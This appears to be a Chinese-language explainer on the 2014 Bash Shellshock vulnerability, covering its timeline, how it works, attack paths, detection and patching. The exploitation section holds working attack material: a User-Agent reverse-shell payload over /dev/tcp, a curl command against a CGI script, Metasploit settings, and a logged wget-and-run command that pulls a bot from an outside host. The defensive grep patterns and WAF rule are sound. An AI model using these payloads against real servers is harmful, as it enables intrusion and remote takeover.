环境变量 → 函数定义 → [此处执行额外代码] ← 漏洞

2014年9月12日 ──── Stéphane Chazelas 发现该漏洞并向 Bash 维护者 Chet Ramey 报告
                 该漏洞已在 Bash 中存在超过20年。

2014年9月24日 ──── 公开披露 + 发布补丁（CVE-2014-6271）
                 数小时后：僵尸网络开始大规模扫描互联网。

2014年9月25-30日 ── 发现相关漏洞：
                 CVE-2014-6277、CVE-2014-6278、CVE-2014-7169、
                 CVE-2014-7186、CVE-2014-7187

2014年10月 ──────── 记录到数百万次攻击。严重性堪比 Heartbleed。

# 恶意环境变量：
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# 存在漏洞的 Bash 在初始化时：
# 1. 读取函数定义  → 正常
# 2. 遇到 }; → 本应停止
# 3. 继续执行 → 运行 /bin/cat /etc/passwd  ← 漏洞

攻击者                    Apache 服务器（CGI）              Bash（存在漏洞）
   │                               │                                │
   │  HTTP 请求                     │                                │
   │  User-Agent: () { :;}; cmd     │                                │
   │──────────────────────────────▶│                                │
   │                               │  将 HTTP 头转换为环境变量      │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ 执行 cmd
   │                               │                                │ 以 www-data 身份
   │◀──────────────────────────────│◀───────────────────────────────│
   │  响应 + cmd 输出              │                                │

env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

VULNERABLE
this is a test

this is a test

受影响的请求头：User-Agent、Referer、Cookie、X-Forwarded-For，以及任意自定义头

# 如果服务器配置了 ForceCommand，持有有效密钥的攻击者可以绕过该限制
ssh user@target '() { :;}; /bin/bash'

# 任何继承环境变量并执行 Bash 的进程
env VAR='() { :;}; 恶意命令' bash -c "合法脚本"

nc -lvnp 4444

# 注入到 User-Agent 中的载荷
() { :;}; /bin/bash -i >& /dev/tcp/攻击者 IP/4444 0>&1

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://存在漏洞的目标.com/cgi-bin/test.cgi

Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <目标>
set TARGETURI /cgi-bin/test.cgi
set LHOST <你的IP>
run

# 在 access.log 中查找特征模式
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# 恶意日志示例：
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

# www-data/apache 的子进程，不应存在
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

- /tmp、/var/tmp、/dev/shm 中出现新的可执行文件
- Web 服务器向未知 IP 发起出站连接
- /etc/crontab 或 /etc/passwd 被修改
- 以 www-data 身份运行的 bash 进程无终端

# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# 验证修补版本（应显示 "patches"）
bash --version
# GNU bash, version 4.3.30(1)-release → 存在漏洞
# GNU bash, version 4.3.33(1)-release → 已修补（因发行版而异）

# 必须只输出 "this is a test" — 绝不能输出 "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

# 1. 如无必要，禁用 CGI
a2dismod cgi

# 2. WAF 规则，阻止该模式
# 在 ModSecurity 中：
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock 尝试'"

# 3. 持续日志监控
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"